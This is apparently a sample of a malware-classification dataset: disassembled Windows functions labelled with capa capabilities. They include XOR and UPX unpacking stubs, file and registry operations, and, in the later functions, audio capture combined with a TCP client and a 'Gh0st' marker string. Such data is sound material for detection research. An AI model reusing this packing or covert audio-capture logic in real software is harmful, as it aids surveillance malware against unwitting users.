joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402e5b
Capabilities:
Check for time delay via gettickcount
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
push ebx
push esi
mov esi, dword [ebp + 0x14]
push edi
mov edi, dword [ebp + 0x10]
mov dword [ebp - 8], esi
test edi, edi
jne 0x402e78
mov dword [ebp - 8], reloc.GDI32.dll_SetTextColor
and dword [ebp - 4], 0
mov dword [ebp - 0xc], edi
test edi, edi
jne 0x402e8a
mov dword [ebp - 0xc], 0x421788
mov eax, dword [ebp + 8]
test eax, eax
jl 0x402e9f
mov ecx, dword [0x451bb8]
add ecx, eax
push ecx
call fcn.004030af
lea eax, [ebp + 0x14]
push 4
push eax
call fcn.0040307d
test eax, eax
je 0x403028
test byte [ebp + 0x17], 0x80
je 0x403011
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
call ebx
and dword [0x4140ec], 0
and dword [0x4140e8], 0
and dword [ebp + 0x14], 0x7fffffff
mov dword [ebp - 0x10], eax
mov eax, 0x415770
mov dword [0x413bd0], 8
mov dword [0x41d778], eax
mov dword [0x41d774], eax
mov eax, dword [ebp + 0x14]
mov dword [0x41d770], 0x41d770
mov dword [ebp + 8], eax
jle 0x403073
mov esi, 0x4000
cmp dword [ebp + 0x14], esi
jge 0x402f18
mov esi, dword [ebp + 0x14]
mov edi, 0x41d788
push esi
push edi
call fcn.0040307d
test eax, eax
je 0x403028
sub dword [ebp + 0x14], esi
mov dword [0x413bc0], edi
mov dword [0x413bc4], esi
mov edi, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
push 0x413bc0
mov dword [0x413bc8], edi
mov dword [0x413bcc], eax
call fcn.00405e08
test eax, eax
mov dword [ebp - 0x18], eax
jl 0x403009
mov esi, dword [0x413bc8]
sub esi, edi
call ebx
test byte [0x451c14], 1
mov edi, eax
je 0x402fb9
sub eax, dword [ebp - 0x10]
cmp eax, 0xc8
ja 0x402f86
cmp dword [ebp + 0x14], 0
jne 0x402fb9
mov eax, dword [ebp + 8]
push dword [ebp + 8]
sub eax, dword [ebp + 0x14]
push 0x64
push eax
call dword [sym.imp.KERNEL32.dll_MulDiv]
push eax
lea eax, [ebp - 0x58]
push str....__d__
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x58]
push eax
push 0
call fcn.00404daa
mov dword [ebp - 0x10], edi
xor eax, eax
cmp esi, eax
je 0x402ffe
jmp 0x755f3b
cmp dword [ebp + 0x14], eax
jg 0x402f0b
jmp 0x403073
push 0xfffffffffffffffc
jmp 0x40302a
push 0xfffffffffffffffe
jmp 0x40302a
test edi, edi
je 0x403068
cmp dword [ebp + 0x14], esi
jge 0x40301d
mov esi, dword [ebp + 0x14]
push esi
push edi
call fcn.0040307d
test eax, eax
jne 0x403070
push 0xfffffffffffffffd
pop eax
jmp 0x403076
mov esi, dword [ebp - 8]
cmp dword [ebp + 0x14], esi
jge 0x403038
mov esi, dword [ebp + 0x14]
mov edi, 0x41d788
push esi
push edi
call fcn.0040307d
test eax, eax
je 0x403028
lea eax, [ebp + 0x10]
push 0
push eax
push esi
push edi
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40300d
cmp esi, dword [ebp + 0x10]
jne 0x40300d
add dword [ebp - 4], esi
sub dword [ebp + 0x14], esi
cmp dword [ebp + 0x14], 0
jg 0x40302d
jmp 0x403073
mov dword [ebp - 4], esi
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret 0x10

Function at 0x4030c6
Capabilities:
Create directory

Disassembly:
push esi
mov esi, 0x484000
push esi
call fcn.00405c6e
push esi
call fcn.0040556c
test eax, eax
jne 0x4030de
pop esi
ret
push esi
jmp loc.00756670
Function at 0x40526c
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea eax, [ebp - 0x10]
mov dword [0x447fe8], 0x44
jmp loc.00754401

Function at 0x405331
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x148
push esi
push edi
mov edi, dword [ebp + 8]
push edi
call fcn.004055e0
jmp loc.007569a4

Function at 0x4055e0
Capabilities:
Authenticate hmac
Check if file exists
Get file attributes

Disassembly:
push esi
push edi
push dword [esp + 0xc]
mov esi, 0x4457e8
push esi
call fcn.00405a0c
push esi
call fcn.00405593
mov edi, eax
test edi, edi
jne 0x405601
xor eax, eax
jmp 0x405653
push edi
call fcn.00405c6e
test byte [0x451b78], 0x80
je 0x40561a
mov al, byte [edi]
test al, al
je 0x4055fd
cmp al, 0x5c
je 0x4055fd
sub edi, esi
jmp 0x405632
push esi
jmp 0x7554d2
pop edi
pop esi
ret 4

Function at 0x4056c4
Capabilities:
Get file attributes
Set file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
jmp loc.0075700c

Function at 0x4056e3
Capabilities:
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov ecx, eax
push 0
inc ecx
neg ecx
sbb ecx, ecx
and ecx, eax
push ecx
push dword [esp + 0x14]
push 0
push 1
jmp loc.00757da9
Function at 0x40575a
Capabilities:
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebx
push ebp
push esi
push edi
push 1
call fcn.00405d2e
test eax, eax
mov esi, dword [esp + 0x18]
je 0x40577e
push 5
push esi
push dword [esp + 0x1c]
call eax
test eax, eax
jne 0x4058b7
mov ebx, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
mov dword [0x448170], 0x4c554e
test esi, esi
mov edi, 0x400
mov ebp, 0x448170
je 0x4057c2
push 1
push 0
push esi
call fcn.004056e3
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push ebp
push esi
call ebx
test eax, eax
je 0x4058bd
cmp eax, edi
jg 0x4058bd
mov esi, 0x447be8
push edi
push esi
push dword [esp + 0x1c]
call ebx
test eax, eax
je 0x4058bd
cmp eax, edi
jg 0x4058bd
push esi
push ebp
push str._s_s_r_n
push 0x4477e8
call dword [sym.imp.USER32.dll_wsprintfA]
mov ebx, eax
mov eax, dword [0x451b70]
add esp, 0x10
push dword [eax + 0x128]
push esi
call fcn.00405a2e
push 4
push 0xc0000000
push esi
call fcn.004056e3
mov ebp, eax
cmp ebp, 0xffffffff
mov dword [esp + 0x14], ebp
je 0x4058b7
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
lea eax, [edi + ebx + 0xa]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x4058b0
lea eax, [esp + 0x18]
push 0
push eax
push edi
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4058b0
cmp edi, dword [esp + 0x18]
jne 0x4058b0
push str._Rename__r_n
push esi
call fcn.00405658
test eax, eax
jne 0x4058c4
lea eax, [esi + edi]
push str._Rename__r_n
push eax
call fcn.00405a0c
add edi, 0xa
mov eax, edi
push ebx
add eax, esi
push 0x4477e8
push eax
call fcn.004056a4
xor eax, eax
push eax
push eax
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [esp + 0x18]
push 0
add edi, ebx
push eax
push edi
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc dword [0x451bf0]
pop edi
pop esi
pop ebp
pop ebx
ret 8
add eax, 0xa
push 0x409330
push eax
call fcn.00405658
test eax, eax
je 0x40587b
inc eax
lea ecx, [esi + edi]
jmp 0x755da1

Function at 0x4058f3
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ebx
lea eax, [ebp + 0x18]
push esi
push eax
mov eax, dword [ebp + 0x18]
xor ebx, ebx
neg eax
sbb eax, eax
mov esi, dword [ebp + 0x14]
and eax, 0x100
or eax, 0x20019
mov byte [esi], bl
push eax
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x405964
lea eax, [ebp + 0xc]
mov dword [ebp + 0xc], 0x2000
push eax
lea eax, [ebp + 0x14]
push esi
push eax
push ebx
push dword [ebp + 0x10]
push dword [ebp + 0x18]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x405953
cmp dword [ebp + 0x14], 1
je 0x405955
cmp dword [ebp + 0x14], 2
je 0x405955
mov byte [esi], bl
push dword [ebp + 0x18]
mov byte [esi + 0x1fff], bl
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x754f37
Function at 0x405d9a
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x448574], 0
push esi
jne 0x405dd1
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x405dab
mov dword [ecx*4 + 0x448570], eax
inc ecx
cmp ecx, 0x100
jl 0x405da6
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x405e02
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x448570]
jmp 0x754d9d
not eax
pop esi
ret 0xc
Function at 0x401a40
Capabilities:
Write file on windows

Disassembly:
mov edx, dword [esp + 8]
mov ecx, dword [ecx]
lea eax, [esp + 8]
push 0
push eax
mov eax, dword [esp + 0xc]
push edx
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
ret 8

Function at 0x430000
Capabilities:
Packed with generic packer

Disassembly:
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax - 0x6f6f6f70], dl
nop
nop
nop
nop
nop
pushal
call 0x43000c
nop
nop
pop eax
nop
nop
nop
nop
add eax, 0x403d6f
sub eax, 0x403d15
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 0x42ffd9
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
popal
nop
jmp 0x401219

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x408ecc
nop
mov ecx, 0x18f53171
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43004e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x430024
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x63a6766e
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x430084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x8dd1a0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x355000]
push edi
jmp 0x8dd1ba
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x8dd1c1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x8dd1b0
mov eax, 1
add ebx, ebx
jne 0x8dd1d3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x8dd1e4
jne 0x8dd203
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x8dd203
dec eax
add ebx, ebx
jne 0x8dd1f0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x8dd1c8
add ebx, ebx
jne 0x8dd1ff
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x8dd255
xor ecx, ecx
sub eax, 3
jb 0x8dd21b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x8dd28a
sar eax, 1
mov ebp, eax
jmp 0x8dd226
add ebx, ebx
jne 0x8dd226
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x8dd1f4
inc ecx
add ebx, ebx
jne 0x8dd234
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x8dd1f4
add ebx, ebx
jne 0x8dd241
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x8dd236
jne 0x8dd252
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x8dd236
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x8dd274
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x8dd266
jmp 0x8dd1b6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x8dd274
add edi, ecx
jmp 0x8dd1b6
pop esi
mov edi, esi
mov ecx, 0x6ac8
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x8dd292
cmp byte [edi], 0x3d
jne 0x8dd292
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x8dd297
lea edi, [esi + 0x4da000]
mov eax, dword [edi]
or eax, eax
je 0x8dd30f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x4e2b28]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x4e2c74]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x8dd2c4
mov ecx, edi
jns 0x8dd2f3
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x4e2c7c]
or eax, eax
je 0x8dd309
mov dword [ebx], eax
add ebx, 4
jmp 0x8dd2e1
call dword [esi + 0x4e2c78]
mov ebp, dword [esi + 0x4e2c80]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x23f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x8dd343
sub esp, 0xffffff80
jmp 0x4ebaa1
Function at 0x40db80
Capabilities:
Query environment variable

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
cmp dword [0x4143d8], 0
jne 0x40dc01
cmp dword [0x4143f8], 0
jne 0x40dbb0
call sub.KERNEL32.DLL_GetEnvironmentStrings
mov dword [0x4143f8], eax
test eax, eax
jne 0x40dbb0
push str.GetEnvironmentStrings_failed
call fcn.0040cbf0
pop ecx
xor ebp, ebp
xor esi, esi
mov ebx, dword [0x4143f8]
jmp 0x40dbc4
lea eax, [edi + 1]
inc esi
add ebp, eax
add ebx, eax
push ebx
call fcn.00406b08
pop ecx
mov edi, eax
test eax, eax
jne 0x40dbbc
lea edi, [ebp + 1]
push edi
call fcn.00405c3c
pop ecx
mov ebx, eax
mov dword [0x4143dc], ebx
test ebx, ebx
jne 0x40dbee
xor eax, eax
jmp 0x40dcc4
push edi
mov edx, dword [0x4143f8]
push edx
push ebx
call fcn.004069b8
add esp, 0xc
jmp 0x40dc21
xor esi, esi
mov ebx, dword [0x4143d8]
jmp 0x40dc1b
push eax
call fcn.00406b08
pop ecx
test eax, eax
jne 0x40dc17
dec esi
inc esi
add ebx, 4
mov eax, dword [ebx]
test eax, eax
jne 0x40dc0b
lea ebx, [esi + 4]
push 4
mov dword [0x4143e0], ebx
inc ebx
push ebx
call fcn.00405a3c
add esp, 8
test eax, eax
mov dword [esp], eax
jne 0x40dc44
xor eax, eax
jmp 0x40dcc4
cmp dword [0x4143d8], 0
jne 0x40dc75
xor esi, esi
mov ebx, dword [0x4143dc]
mov eax, dword [esp]
mov ebp, eax
jmp 0x40dc66
mov dword [ebp], ebx
add ebp, 4
inc esi
inc edi
add ebx, edi
push ebx
call fcn.00406b08
pop ecx
mov edi, eax
test eax, eax
jne 0x40dc5c
jmp 0x40dca6
xor esi, esi
mov ebx, dword [0x4143d8]
mov eax, dword [esp]
mov edi, eax
jmp 0x40dca0
push eax
call fcn.00406b08
pop ecx
test eax, eax
je 0x40dc95
mov eax, dword [ebx]
mov dword [edi], eax
jmp 0x40dc99
dec esi
add edi, 0xfffffffc
add edi, 4
inc esi
add ebx, 4
mov eax, dword [ebx]
test eax, eax
jne 0x40dc84
mov eax, dword [0x4143d8]
test eax, eax
je 0x40dcb6
push eax
call fcn.00405c4c
pop ecx
mov edx, dword [esp]
mov eax, 1
mov dword [0x4143d8], edx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..00cfg
nop
nop
mov ebx, 0x408ecc
nop
mov ecx, 0x720036be
nop
nop
nop
nop
test eax, eax
je 0x43004e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x430024
nop
nop
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x76b075bb
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x10001100
Capabilities:
Link many functions at runtime
Terminate thread

Disassembly:
sub esp, 0x18
push ebx
push ebp
push esi
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push edi
mov edi, ecx
push 0x30
mov dword [edi], 0x100143b8
call esi
mov eax, dword [0x100194d0]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
add esp, 4
push str.waveInStop
push eax
call ebx
push 0x30
mov dword [esp + 0x14], eax
call esi
mov ecx, dword [0x100194d0]
add esp, 4
push str.waveInReset
push ecx
call ebx
push 0x30
mov dword [esp + 0x18], eax
call esi
mov edx, dword [0x100194d0]
add esp, 4
push str.waveInUnprepareHeader
push edx
call ebx
push 0x30
mov ebp, eax
call esi
mov eax, dword [0x100194d0]
add esp, 4
push str.waveInClose
push eax
call ebx
push 0x30
mov dword [esp + 0x1c], eax
call esi
mov ecx, dword [0x100194d0]
add esp, 4
push str.waveOutClose
push ecx
call ebx
push 0x30
mov dword [esp + 0x28], eax
call esi
mov edx, dword [0x100194d0]
add esp, 4
push str.waveOutReset
push edx
call ebx
push 0x30
mov dword [esp + 0x24], eax
call esi
mov eax, dword [0x100194d0]
add esp, 4
push str.waveOutUnprepareHeader
push eax
call ebx
mov ebx, eax
push 0x30
mov dword [esp + 0x20], ebx
call esi
mov al, byte [edi + 0x44]
add esp, 4
test al, al
je 0x10001216
mov ecx, dword [edi + 0x18]
push ecx
call dword [esp + 0x14]
mov edx, dword [edi + 0x18]
push edx
call dword [esp + 0x18]
lea esi, [edi + 0x30]
mov ebx, 2
mov eax, dword [esi]
mov ecx, dword [edi + 0x18]
push 0x20
push eax
push ecx
call ebp
add esi, 4
dec ebx
jne 0x100011ed
mov edx, dword [edi + 0x18]
push edx
call dword [esp + 0x1c]
mov eax, dword [edi + 0x2c]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ebx, dword [esp + 0x1c]
mov al, byte [edi + 0x45]
test al, al
je 0x10001246
mov ecx, dword [edi + 0x40]
push ecx
call dword [esp + 0x24]
lea esi, [edi + 0x30]
mov ebp, 2
mov edx, dword [esi]
mov eax, dword [edi + 0x40]
push 0x20
push edx
push eax
call ebx
add esi, 4
dec ebp
jne 0x1000122d
mov ecx, dword [edi + 0x40]
push ecx
call dword [esp + 0x28]
lea esi, [edi + 0x30]
mov ebx, 2
mov edx, dword [esi - 0x28]
push edx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov eax, dword [esi]
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov ecx, dword [esi - 0x20]
push ecx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov edx, dword [esi + 8]
push edx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 0x10
add esi, 4
dec ebx
jne 0x1000124e
mov eax, dword [edi + 0x24]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call esi
mov ecx, dword [edi + 0x28]
push ecx
call esi
mov edx, dword [edi + 0x2c]
push edx
call esi
mov eax, dword [0x100194d0]
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x18
ret
Function at 0x100013a0
Capabilities:
Create thread
Link many functions at runtime
Resume thread

Disassembly:
mov eax, dword [0x100194d0]
sub esp, 8
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edi
push str.waveInGetNumDevs
mov edi, ecx
push eax
call esi
call eax
test eax, eax
jne 0x100013cc
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 8
ret
mov ecx, dword [0x100194d0]
push str.waveInOpen
push ecx
call esi
lea edx, [esp + 0x10]
mov ebp, eax
push edx
push 4
push edi
push 0x10001590
push 0
push 0
mov dword [esp + 0x28], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [edi + 0x2c], eax
mov eax, dword [esp + 0x10]
push 0x20000
push 0
lea ecx, [edi + 0x46]
push eax
lea ebx, [edi + 0x18]
push ecx
push 0xffff
push ebx
call ebp
test eax, eax
je 0x10001427
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 8
ret
mov edx, dword [0x100194d0]
push str.waveInPrepareHeader
push edx
call esi
mov dword [esp + 0x14], eax
lea esi, [edi + 0x30]
mov ebp, 2
mov eax, dword [esi]
mov ecx, dword [esi - 0x28]
push 0x20
mov dword [eax], ecx
mov edx, dword [esi]
mov eax, dword [edi + 4]
mov dword [edx + 4], eax
mov ecx, dword [esi]
xor eax, eax
mov dword [ecx + 0x10], eax
mov edx, dword [esi]
mov dword [edx + 0x14], eax
mov eax, dword [esi]
mov ecx, dword [ebx]
push eax
push ecx
call dword [esp + 0x20]
add esi, 4
dec ebp
jne 0x10001441
mov edx, dword [0x100194d0]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.waveInAddBuffer
push edx
call esi
mov ecx, dword [edi + 0x1c]
push 0x20
mov edx, dword [edi + ecx*4 + 0x30]
mov ecx, dword [ebx]
push edx
push ecx
call eax
mov edx, dword [edi + 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, dword [0x100194d0]
push str.waveInStart
push eax
call esi
mov ecx, dword [ebx]
push ecx
call eax
mov al, 1
mov byte [edi + 0x44], al
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret

Function at 0x10001d20
Capabilities:
Initialize winsock library

Disassembly:
push 0xffffffffffffffff
push 0x1001345a
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x198
push esi
mov esi, ecx
push edi
mov dword [esp + 8], esi
lea ecx, [esi + 4]
call fcn.10001930
lea ecx, [esi + 0x2c]
mov dword [esp + 0x1a8], 0
call fcn.10001930
lea ecx, [esi + 0x54]
mov byte [esp + 0x1a8], 1
call fcn.10001930
lea ecx, [esi + 0x7c]
mov byte [esp + 0x1a8], 2
call fcn.10001930
lea eax, [esp + 0x10]
mov dword [esi], 0x100143d0
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov edi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call edi
add esp, 4
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0x30
mov dword [esi + 0xac], eax
call edi
mov byte [esp + 0xc], 0x47
mov byte [esp + 0xd], 0x68
mov byte [esp + 0xe], 0x30
mov byte [esp + 0xf], 0x73
mov edx, dword [esp + 0xc]
lea ecx, [esi + 0xb0]
mov al, 0x74
add esp, 4
mov dword [ecx], edx
mov byte [esi + 0xb5], 0
mov dword [esi + 0xa8], 0xffffffff
pop edi
mov byte [ecx + 4], al
mov ecx, dword [esp + 0x19c]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x1a4
ret
Function at 0x10001ef0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
sub esp, 0x20
push esi
push edi
mov esi, ecx
call fcn.100023b0
mov edi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call edi
mov eax, dword [esi + 0xac]
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 0x30
mov byte [esi + 0xb5], 0
call edi
add esp, 4
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [esi + 0xa8], eax
jne 0x10001f45
pop edi
xor al, al
pop esi
add esp, 0x20
ret 8
mov ecx, dword [esp + 0x2c]
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov edi, eax
test edi, edi
jne 0x10001f60
pop edi
xor al, al
pop esi
add esp, 0x20
ret 8
mov edx, dword [esp + 0x30]
mov word [esp + 0x18], 2
push edx
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x1a], ax
mov eax, dword [edi + 0xc]
push 0x10
mov ecx, dword [eax]
lea eax, [esp + 0x1c]
push eax
mov edx, dword [ecx]
mov ecx, dword [esi + 0xa8]
push ecx
mov dword [esp + 0x28], edx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x10001fa5
pop edi
xor al, al
pop esi
add esp, 0x20
ret 8
mov eax, dword [esi + 0xa8]
lea edx, [esp + 0xb]
push 1
push edx
push 8
push 0xffff
push eax
mov byte [esp + 0x1f], 1
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x10002003
push eax
lea ecx, [esp + 0xf]
push eax
push ecx
push eax
push eax
mov eax, dword [esi + 0xa8]
lea edx, [esp + 0x20]
push 0xc
push edx
push 0x98000004
push eax
mov dword [esp + 0x30], 1
mov dword [esp + 0x34], 0xea60
mov dword [esp + 0x38], 0x1388
call dword [sym.imp.WS2_32.dll_WSAIoctl]
push 1
push 0
push 0
push esi
push 0x10002040
push 0
push 0
mov byte [esi + 0xb5], 1
call fcn.1000a720
add esp, 0x1c
mov dword [esi + 0xa4], eax
mov al, 1
pop edi
pop esi
add esp, 0x20
ret 8

Function at 0x100023b0
Capabilities:
Set socket configuration

Disassembly:
push ecx
push esi
push edi
mov edi, dword [sym.imp.MSVCRT.dll_putchar]
mov esi, ecx
push 0x30
mov word [esp + 0xc], 1
mov word [esp + 0xe], 0
call edi
mov ecx, dword [esi + 0xa8]
add esp, 4
lea eax, [esp + 8]
push 4
push eax
push 0x80
push 0xffff
push ecx
call dword [sym.imp.WS2_32.dll_setsockopt]
push 0x30
call edi
mov edx, dword [esi + 0xa8]
add esp, 4
push edx
call dword [sym.imp.KERNEL32.dll_CancelIo]
push 0x30
call edi
add esp, 4
lea eax, [esi + 0xb5]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0x30
call edi
mov ecx, dword [esi + 0xa8]
add esp, 4
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
push 0x30
call edi
mov edx, dword [esi + 0xac]
add esp, 4
push edx
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0x30
call edi
add esp, 4
mov dword [esi + 0xa8], 0xffffffff
pop edi
pop esi
pop ecx
ret